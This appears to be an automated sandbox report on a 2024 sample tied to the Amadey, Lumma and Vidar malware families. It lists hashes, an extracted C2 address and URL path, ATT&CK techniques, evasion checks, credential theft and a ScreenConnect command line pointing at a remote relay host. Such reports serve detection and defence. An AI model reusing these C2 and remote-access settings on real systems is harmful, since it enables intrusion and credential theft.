amadey | 6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19-12-2024 15:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

2.9MB
MD5

dac73e7813dc3500e5f677b5f31191df
SHA1

bf5eaa68905a19d7cda4cc824267d5fbfc27785a
SHA256

6b6ee9cae47a7d7d51218397669ea2644853643e8d7557b20a90dc49e203893e
SHA512

7e26aa8fa617887d322ff823d6133dc677cd6c7e5ff2d1b14f6db689dff185e4f668802037bcd38e2134965892f71aabb4b274ae5568adb6e2ad065f93d593ba
SSDEEP

49152:CdKtEEZolFDH6eU4kCfdnZlAVVXmZUiUHHUw0aAVP:ntEEZuFDaeU4kCfhZloXmVy0

Score

10^/10

amadey lumma vidar 9c9aa5 credential_access discovery evasion execution persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 5 IoCs

stealer

resource	yara_rule
behavioral2/files/0x0009000000023cd8-134.dat	family_vidar_v7
behavioral2/memory/3056-137-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7
behavioral2/memory/3056-232-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7
behavioral2/memory/6732-2756-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7
behavioral2/memory/6732-2867-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 6724 created 2492	6724	a6a66bbb4b.exe	42

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	5be7fde5d9.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a6a66bbb4b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4557e845ae.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	6c8eb6e2a4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5be7fde5d9.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1700	powershell.exe
2268	powershell.exe
6804	powershell.exe
5708	powershell.exe

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (98a59bd0eed9222b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=gips620.top&p=8880&s=4141dd1a-885c-4717-89f5-8bb2f098894d&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAQbJ3SKpLikOXAFs4zCq7cgAAAAACAAAAAAAQZgAAAAEAACAAAAAe5oMU6nHykKQFQ%2baKnUxVt%2boqid36%2f6PCVQZh0VwbEgAAAAAOgAAAAAIAACAAAABeT1efUyXI025eUVeHU3jfGwVbjGvnKQTFC6I69vtb7qAEAABHy%2b1NEjrONyTD4ePrOTmwvLG%2b22uVA8sLJpHAZix7%2btbIkMV1%2buA2%2foMbtaYzPilgHjWpH4pxRFJzWB2NRdmof5EYL18YulJckv%2b74S8hU07z4v0b96GcKlDpnEzbZSYDRgZV%2fdCgRxtu8qTqx1BRTCm4FTw8G%2bvE%2feQU6xULphU%2bnNa%2bMKIogqGtRagOwudjCfUp9NB%2fcnztiTa%2bohYFzcIJGXW8zuJhBH0s2%2f6gBwvREFLnblh3IPSj4iovbZnz0cgWjsPd%2fwY8CGu6ST09ogPWXrIhwRtvS0WLearH4IxXaW%2falG%2bRmOmiheOFQybo4V8dvxbmJ0FtnQobOPk0TW2V3oQ1NRmGukUMNEvOWaY4q4v6Tkv6S2mXYqVL%2fSI9CBg5jp6Ddl2uAK7azlZP2wcoO8piWbav5kYRA8lXJgi5VJ3FLNwUtehqMpshJXAiEevkWMLr%2f6VzmrinRQSZAt4fg8R85drqE4SMJrqGB4UaVVmccqDpN3K1F7K4hTKlcKKGaY%2fblZc83yOOwbGTExMUEJr7NC2MXq91iQyG%2bW5TaJLkpNOyJb7n%2bvCUTiCnWi5XicRsA%2b2028ASrkozfs%2bUITnxjCxtlJDfrT0l6kfRgZrinnKxeumVnwTQ7vW6cM0Do4ZdeYtzIyoZgQws0%2fuKHJJDWP3IaVOQEj9aRDHj3Msh5nqf%2f1AfcYECzM2Z%2f%2b1Q7TgQaypPbTt8KuRne9so3%2bnVS8lFulH6WJOSIzAJTvgdVsvZlKRUA9UECq8NXcA3JypvLcqMhxIQLZxmypBvceaeoo5s6xISo6t32VSa6xFQMpI%2bz0JOBcoVJwo%2fSBdCO15oPJp02tUbz7%2boQ3tKhHhjpJ31ChYX5VmTcxMo%2bNrgdvj9QbQIAcaxAPUICzivrKg3htOMNGRjjBQuV5ukn99ytvE8%2bV5AgrKWwbq3LvhLb0vi6kuZ4slfKTLu0kxrZyv4NtDUGY%2fkv5xetFzPrJTRgK4j%2fnGwh3Isuvr80aELHnuKyyZC1%2bQZTTzmyZi1LiaTxQWbLTwG5eL06fpEHopAk3MLOm%2bL48jiy5QUqsWyg6dwQsiltKDCeNGiYzoQ9zbS7fCdE8%2bsRBJbgdXnCE%2fB0o7qK91ZlF85PyVJ0dV7OpDOWXoaC8s4aNWbYt%2bcRbGiOetMLSOa%2b%2b45l00P57eVdJTVWKNw15AgiRRA5K%2fi0Pycg5BIQtksWTNAhjvW0sy6RZR%2fbX44hZ6eIoR5kYAhcGR713MezMD4pIR3527UzD8HfM7n7LGUIWqHzmywuxp6f%2f%2fhtun0cEaD1e5wyH%2fFIPOBcTzO2SdfBhPK2eOECnSeJCYCs4crVHiXJ7B82oBtx8QVL3djjWBK211Uyb6OQsE2qlm5paBssECpyIxoZIE1AgOgKIES6xo9uX%2bQ%2f5v7mOpFicQTDjDrgH45AlJWwyG94Z11ytfNr3KSJatJNwpLLc3Y9NiEhuBCEmJJBBrkJxya1QqT6GNF81slFY5dUnlgUCLOGrcLhKq%2bQND8EGUiCTCutM%2bagICZeSz%2faYrmdYG4FDmGXHEQ8PIgVhsvmpdTaYL0vbnL60AAAAAkWDQa4bGaTvYiKwv18DAueQsHwQ0bhEF14lY8LTqN6%2fml1Aegaw2a6JXWwssRVUkxYAPVmiQrQSfebWNSIGDn&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4557e845ae.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a6a66bbb4b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4557e845ae.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5be7fde5d9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6c8eb6e2a4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a6a66bbb4b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6c8eb6e2a4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5be7fde5d9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 10 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	NN9Dd7c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	ee9ec378648f4147abe9225611844058.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	afa0717dce9c492794d3bb96767a8149.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	ga70pjP.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	0d35bddbcd5b4b6faa9c9a1340f4acd3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	1a2a86cd3b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	8a1fde3a772340aa9299f6e59ed98921.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	8f03d7cdb3.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 30 IoCs

pid	Process
2444	skotes.exe
1680	NN9Dd7c.exe
1224	4557e845ae.exe
3056	afa0717dce9c492794d3bb96767a8149.exe
1920	ee9ec378648f4147abe9225611844058.exe
4744	962ad6740a.exe
4632	962ad6740a.exe
5544	skotes.exe
5496	ga70pjP.exe
5428	1a2a86cd3b.exe
6732	8a1fde3a772340aa9299f6e59ed98921.exe
5244	0d35bddbcd5b4b6faa9c9a1340f4acd3.exe
5652	ScreenConnect.ClientService.exe
6492	ScreenConnect.WindowsClient.exe
7000	6c8eb6e2a4.exe
5392	ScreenConnect.WindowsClient.exe
6160	5be7fde5d9.exe
3572	skotes.exe
5612	8f03d7cdb3.exe
5708	7z.exe
6176	7z.exe
6156	7z.exe
7148	7z.exe
6432	7z.exe
7036	7z.exe
6548	7z.exe
5380	7z.exe
6768	in.exe
6724	a6a66bbb4b.exe
5336	39c7d01642.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	a6a66bbb4b.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	4557e845ae.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	6c8eb6e2a4.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	5be7fde5d9.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Wine	skotes.exe

Loads dropped DLL 30 IoCs

pid	Process
5604	MsiExec.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
4768	rundll32.exe
5508	MsiExec.exe
4048	MsiExec.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5652	ScreenConnect.ClientService.exe
5708	7z.exe
6176	7z.exe
6156	7z.exe
7148	7z.exe
6432	7z.exe
7036	7z.exe
6548	7z.exe
5380	7z.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
46	raw.githubusercontent.com
47	raw.githubusercontent.com
48	raw.githubusercontent.com
141	raw.githubusercontent.com
142	raw.githubusercontent.com

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800390038006100350039006200640030006500650064003900320032003200620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\m5yy5rry.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\m5yy5rry.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
5096	file.exe
2444	skotes.exe
1224	4557e845ae.exe
5544	skotes.exe
7000	6c8eb6e2a4.exe
6160	5be7fde5d9.exe
3572	skotes.exe
6724	a6a66bbb4b.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4744 set thread context of 4632	4744	962ad6740a.exe	124

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE857.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e58e694.msi	msiexec.exe
File created	C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}	msiexec.exe
File created	C:\Windows\Installer\wix{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSIEBD3.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED8A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon	msiexec.exe
File created	C:\Windows\Tasks\skotes.job	file.exe
File created	C:\Windows\Installer\e58e692.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58e692.msi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
6692	7000	WerFault.exe	155
5140	6724	WerFault.exe	186

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	962ad6740a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8a1fde3a772340aa9299f6e59ed98921.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8f03d7cdb3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NN9Dd7c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	962ad6740a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a6a66bbb4b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	39c7d01642.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ga70pjP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6c8eb6e2a4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5be7fde5d9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4557e845ae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	afa0717dce9c492794d3bb96767a8149.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1a2a86cd3b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6760	powershell.exe
2868	PING.EXE

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001397c7f967de25740000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001397c7f90000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809001397c7f9000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1397c7f9000000000000f0ff3a000000000000000000000000000000000000000000000000000000000000000